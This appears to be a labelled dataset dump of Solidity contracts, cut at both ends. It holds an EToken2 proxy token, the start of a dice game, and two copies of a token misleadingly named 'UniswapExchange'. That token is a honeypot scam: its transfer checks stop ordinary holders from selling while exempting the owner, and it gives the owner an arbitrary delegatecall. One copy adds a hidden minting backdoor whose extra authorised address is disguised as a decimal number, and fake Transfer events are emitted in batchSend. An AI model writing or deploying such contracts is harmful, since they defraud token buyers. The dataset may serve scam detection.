require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 211 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,340 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,108 |
pragma solidity 0.4.11;
contract RegistryICAPInterface {
function parse(bytes32 _icap) constant returns(address, bytes32, bool);
function institutions(bytes32 _institution) constant returns(address);
}
contract EToken2Interface {
function registryICAP() constant returns(RegistryICAPInterface);
function baseUnit(bytes32 _symbol) constant returns(uint8);
function description(bytes32 _symbol) constant returns(string);
function owner(bytes32 _symbol) constant returns(address);
function isOwner(address _owner, bytes32 _symbol) constant returns(bool);
function totalSupply(bytes32 _symbol) constant returns(uint);
function balanceOf(address _holder, bytes32 _symbol) constant returns(uint);
function isLocked(bytes32 _symbol) constant returns(bool);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) returns(bool);
function reissueAsset(bytes32 _symbol, uint _value) returns(bool);
function revokeAsset(bytes32 _symbol, uint _value) returns(bool);
function setProxy(address _address, bytes32 _symbol) returns(bool);
function lockAsset(bytes32 _symbol) returns(bool);
function proxyTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(bool);
function allowance(address _from, address _spender, bytes32 _symbol) constant returns(uint);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(bool);
}
contract AssetInterface {
function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performApprove(address _spender, uint _value, address _sender) returns(bool);
function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performGeneric(bytes _data, address _sender) payable returns(bytes32) {
throw;
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function totalSupply() constant returns(uint256 supply);
function balanceOf(address _owner) constant returns(uint256 balance);
function transfer(address _to, uint256 _value) returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) returns(bool success);
function approve(address _spender, uint256 _value) returns(bool success);
function allowance(address _owner, address _spender) constant returns(uint256 remaining);
function decimals() constant returns(uint8);
}
contract AssetProxyInterface {
function _forwardApprove(address _spender, uint _value, address _sender) returns(bool);
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function balanceOf(address _owner) constant returns(uint);
}
contract Bytes32 {
function _bytes32(string _input) internal constant returns(bytes32 result) {
assembly {
result := mload(add(_input, 32))
}
}
}
contract FluxCoin is ERC20Interface, AssetProxyInterface, Bytes32 {
EToken2Interface public etoken2;
bytes32 public etoken2Symbol;
string public name;
string public symbol;
function init(EToken2Interface _etoken2, string _symbol, string _name) returns(bool) {
if (address(etoken2) != 0x0) {
return false;
}
etoken2 = _etoken2;
etoken2Symbol = _bytes32(_symbol);
name = _name;
symbol = _symbol;
return true;
}
modifier onlyEToken2() {
if (msg.sender == address(etoken2)) {
_;
}
}
modifier onlyAssetOwner() {
if (etoken2.isOwner(msg.sender, etoken2Symbol)) {
_;
}
}
function _getAsset() internal returns(AssetInterface) {
return AssetInterface(getVersionFor(msg.sender));
}
function recoverTokens(uint _value) onlyAssetOwner() returns(bool) {
return this.transferWithReference(msg.sender, _value, 'Tokens recovery');
}
function totalSupply() constant returns(uint) {
return etoken2.totalSupply(etoken2Symbol);
}
function balanceOf(address _owner) constant returns(uint) {
return etoken2.balanceOf(_owner, etoken2Symbol);
}
function allowance(address _from, address _spender) constant returns(uint) {
return etoken2.allowance(_from, _spender, etoken2Symbol);
}
function decimals() constant returns(uint8) {
return etoken2.baseUnit(etoken2Symbol);
}
function transfer(address _to, uint _value) returns(bool) {
return transferWithReference(_to, _value, '');
}
function transferWithReference(address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferWithReference(_to, _value, _reference, msg.sender);
}
function transferToICAP(bytes32 _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferToICAPWithReference(_icap, _value, _reference, msg.sender);
}
function transferFrom(address _from, address _to, uint _value) returns(bool) {
return transferFromWithReference(_from, _to, _value, '');
}
function transferFromWithReference(address _from, address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromWithReference(_from, _to, _value, _reference, msg.sender);
}
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromWithReference(_from, _to, _value, etoken2Symbol, _reference, _sender);
}
function transferFromToICAP(address _from, bytes32 _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromToICAPWithReference(_from, _icap, _value, _reference, msg.sender);
}
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromToICAPWithReference(_from, _icap, _value, _reference, _sender);
}
function approve(address _spender, uint _value) returns(bool) {
return _getAsset()._performApprove(_spender, _value, msg.sender);
}
function _forwardApprove(address _spender, uint _value, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyApprove(_spender, _value, etoken2Symbol, _sender);
}
function emitTransfer(address _from, address _to, uint _value) onlyEToken2() {
Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) onlyEToken2() {
Approval(_from, _spender, _value);
}
function () payable {
bytes32 result = _getAsset()._performGeneric.value(msg.value)(msg.data, msg.sender);
assembly {
mstore(0, result)
return(0, 32)
}
}
event UpgradeProposal(address newVersion);
address latestVersion;
address pendingVersion;
uint pendingVersionTimestamp;
uint constant UPGRADE_FREEZE_TIME = 3 days;
mapping(address => address) userOptOutVersion;
modifier onlyImplementationFor(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
function getVersionFor(address _sender) constant returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
function getLatestVersion() constant returns(address) {
return latestVersion;
}
function getPendingVersion() constant returns(address) {
return pendingVersion;
}
function getPendingVersionTimestamp() constant returns(uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) onlyAssetOwner() returns(bool) {
if (pendingVersion != 0x0) {
return false;
}
if (_newVersion == 0x0) {
return false;
}
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
UpgradeProposal(_newVersion);
return true;
}
function purgeUpgrade() onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function optOut() returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
return true;
}
function optIn() returns(bool) {
delete userOptOutVersion[msg.sender];
return true;
}
function multiAsset() constant returns(EToken2Interface) {
return etoken2;
}
} | 1 | 4,340 |
pragma solidity ^0.4.25;
contract IUserData {
function setUserRef(address _address, address _refAddress, string _gameName) public;
function getUserRef(address _address, string _gameName) public view returns (address);
}
contract Dice_BrickGame {
IUserData userData = IUserData(address(0x21d364b66d9065B5207124e2b1e49e4193e0a2ff));
uint8 public FEE_PERCENT = 2;
uint8 public JACKPOT_PERCENT = 1;
uint constant MIN_JACKPOT = 0.1 ether;
uint public JACKPOT_WIN = 1000;
uint public MIN_BET = 0.01 ether;
uint public MAX_BET = 1 ether;
uint public MAX_PROFIT = 5 ether;
uint public REF_PERCENT = 5;
address public owner;
address private bot;
uint public jackpotFund;
uint public resolve = 0;
uint public payLoan = 0;
struct Bet {
uint blockNumber;
address player;
uint amount;
bytes hexData;
}
struct Loan {
address player;
uint amount;
}
Bet[] public bets;
Loan[] private loans;
event DiceBet(address indexed player, uint amount, uint blockNumber, bytes data, uint8 result, uint reward, uint16 jackpotNumber, uint indexed modulo);
event Jackpot(address indexed player, uint amount);
event JackpotIncrease(uint amount);
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event Repayment(address indexed beneficiary, uint amount);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "OnlyOwner can call.");
_;
}
modifier onlyBot {
require(msg.sender == bot || msg.sender == owner, "OnlyOwner can call.");
_;
}
function() public payable {
uint8 length = uint8(msg.data.length);
require(length >= 2, "Wrong bet number!");
address ref = address(0x0);
uint8 index;
if(length > 12) {
index = 20;
ref = toAddress(msg.data, 0);
require(ref != msg.sender, "Reference must be different than sender");
} else {
index = 0;
}
uint8 modulo = uint8((msg.data[index] >> 4) & 0xF) * 10 + uint8(msg.data[index] & 0xF);
